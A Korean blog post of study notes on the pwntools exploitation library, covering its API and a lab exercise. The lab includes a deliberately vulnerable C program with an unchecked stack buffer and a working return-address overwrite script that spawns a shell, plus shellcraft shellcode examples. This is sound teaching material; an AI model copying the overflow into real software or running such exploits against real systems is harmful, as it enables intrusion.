Fascination
article thumbnail

Tool: pwntools


# 서론

1. pwntools의 등장 배경

- 파이썬으로 페이로드를 생성하고, 파이프(|)를 통해 이를 프로그램에 전달할 수 있음

- 그러나 익스플로잇이 조금만 복잡해져도 위와 같은 방식은 사용하기 어려워짐

- 그래서 해커들은 펄, 파이썬, C언어 등으로 익스플로잇 스크립트, 또는 바이너리를 제작하여 사용함

- 파이썬으로 여러 개의 익스플로잇 스크립트를 작성하다 보면 자주 사용하게 되는 함수들이 있는데, 이런 함수들을 반복적으로 구현하는 것은 비효율적임

- 그래서 시스템 해커들은 이들을 모아 pwntools라는 파이썬 모듈을 제작함

  > 이제는 익스플로잇의 대부분이 pwntools를 이용하여 제작 및 공유됨

 

2. pwntools 설치

- pwntools는 깃헙에 오픈 소스로 공개되어 있음

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

- 아래와 같이 pwntools를 임포트했을 때, 에러가 발생하지 않으면 제대로 설치된 것

실제 python3 명령어로 exploit 파이썬 확장자 파일들을 에러 없이 잘 실행했었기 때문에

따로 업그레이드 하지 않을 것

(python, python3 둘 다 사용하기 때문)

 

 

# pwntools API 사용법

- pwntools의 공식 매뉴얼

 

pwntools — pwntools 4.9.0dev documentation

© Copyright 2016, Gallopsled et al. Revision ef698d45.

docs.pwntools.com

 

1. process & remote

- process: 익스플로잇을 로컬 바이너리 대상으로 할 때 사용

  > 익스플로잇을 테스트하고 디버깅하기 위해 사용

- remote: 원격 서버를 대상으로 할 때 사용하는 함수

  > 대상 서버를 실제로 공격하기 위해 사용

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

 

2. send

- send: 데이터를 프로세스에 전송하기 위해 사용

  > 관련된 다양한 함수가 정의되어 있음

from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력

 

3. recv

- recv: 프로세스에서 데이터를 받기 위해 사용

  > 관련된 다양한 함수가 정의되어 있음

- recv()와 recvn()의 차이점

  > recv(n): 최대 n바이트를 받는 것이므로, 그만큼을 받지 못해도 에러를 발생시키지 않음

  > recvn(n): 정확히 n바이트의 데이터를 받지 못하면 계속 기다림

from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 받아서 data에 저장

 

4. packing & unpacking

- 익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역의 과정을 거쳐야 하는 경우가 자주 있음

  > 관련된 함수들이 정의되어 있음

#!/usr/bin/python3
#Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))

 

 

5. interactive

- 셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

- 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있음

from pwn import *
p = process('./test')
p.interactive()

 

6. ELF

- ELF 헤더: 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있음

  > pwntools를 사용하면 이 정보들을 쉽게 참조할 수 있음

from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

plt와 got는 나중에 배울 것

 

7. context.log

- 익스플로잇에 버그가 발생하면 익스플로잇도 디버깅해야 함

- pwntools에는 디버그의 편의를 돕는 로깅 기능이 있으며, 로그 레벨은 context.log_level 변수로 조절할 수 있음

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

 

8. context.arch

- 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받음

- 그래서 pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라짐

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

 

9. shellcraft

- 자주 사용되는 셸 코드들이 저장되어 있어서, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해 줌

- 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못함

- 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어려움

- 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋음

- 아래 링크에서 x86-64를 대상으로 생성할 수 있는 여러 종류의 셸 코드를 찾아볼 수 있음

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

- 예시

#!/usr/bin/python3
#Name: shellcraft.py
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)

 

 

10. asm

- pwntools는 어셈블 기능을 제공

- 이 기능도 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정해야 함

#!/usr/bin/python3
#Name: asm.py
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)

 

 

 

# pwntools 실습 - rao 익스플로잇

1. rao 예제 코드

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

2. 문제 풀이

* 개인적으로 시스템 해킹을 약간 배워봤기에 ida를 사용해서 풀이해보았다....!

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

우선 셸을 획득하기 위한 방법을 get_shell() 함수에서 모두 제공하고 있으므로

간단하게 실행 흐름을 바꾸어 scanf 실행 이후 return address를 get_shell의 주소로 

바꾸어주면 될 것 같다

 

int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

main 함수 확인 결과 buf의 크기를 초기화하고 있지만 더미 값이 존재할 수 있으므로

buf의 크기를 확인해보아야 할 것 같다

 

확인 결과 buf의 크기는 30byte임을 알 수 있다

 

get_shell의 시작 주소도 확인할 수 있다

 

#!/usr/bin/python3
#Name: rao.py

from pwn import *
p = process('./rao')

get_shell = 0x4005a7

payload = b"A"*0x30
payload += b"B"*0x8
payload += p64(get_shell)

p.sendline(payload)
p.interactive()

payload를 작성해보았다

우선 gcc 컴파일 시 별도의 옵션을 주지 않아 해당 파일은 64비트이다.

64비트 기준으로 스택의 기본 구조는 아래와 같다

buf sfp[8 byte] ret[8 byte]

이때 sfp는 스택 베이스 값, ret은 반환할 주소 값을 의미한다.

따라서 우리는 ret 부분에 get_shell의 주소를 넣어주면 실행 흐름을 조작할 수 있고

위와 같은 페이로드를 작성할 수 있다

 

또한 드림핵에서는 python3을 사용하고 있어 python2와 사용법이 달라져서 언급하고자 한다

python2는 문자열과 바이트를 구분하고 있지 않지만, python3부터는 이 둘을 구분해서 사용하고 있다

이 때문에 단순히 큰 따옴표만 사용하면 문자열만을 표현할 수 없게 되기 때문에

바이트 열을 표현하고자 한다면 b"" 형식을 사용하면 된다고 한다

 

드림핵에서 제공하는 페이로드 코드는 아래와 같다

#!/usr/bin/python3
#Name: rao.py
from pwn import *          # Import pwntools module
p = process('./rao')       # Spawn process './rao'
get_shell = 0x4005a7       # Address of get_shell() is 0x4005a7
payload = b"A"*0x30        #|       buf      |  <= "A"*0x30
payload += b"B"*0x8        #|       SFP      |  <= "B"*0x8
payload += p64(get_shell)  #| Return address |  <= "\xa7\x05\x40\x00\x00\x00\x00\x00"
p.sendline(payload)        # Send payload to './rao'
p.interactive()            # Communicate with shell

 

3. 실행결과

 

 

# 마치며

- 코스 요약 📜

  • process & remote: 로컬 프로세스 또는 원격 서버의 서비스를 대상으로 익스플로잇 수행
  • send & recv: 데이터 송수신
  • packing & unpacking: 정수를 바이트 배열로, 또는 바이트 배열을 정수로 변환
  • interactive: 프로세스 또는 서버와 터미널로 직접 통신
  • context.arch: 익스플로잇 대상의 아키텍처
  • context.log_level: 익스플로잇 과정에서 출력할 정보의 중요도
  • ELF: ELF헤더의 여러 중요 정보 수집
  • shellcraft: 다양한 셸 코드를 제공
  • asm: 어셈블리 코드를 기계어로 어셈블

 

profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!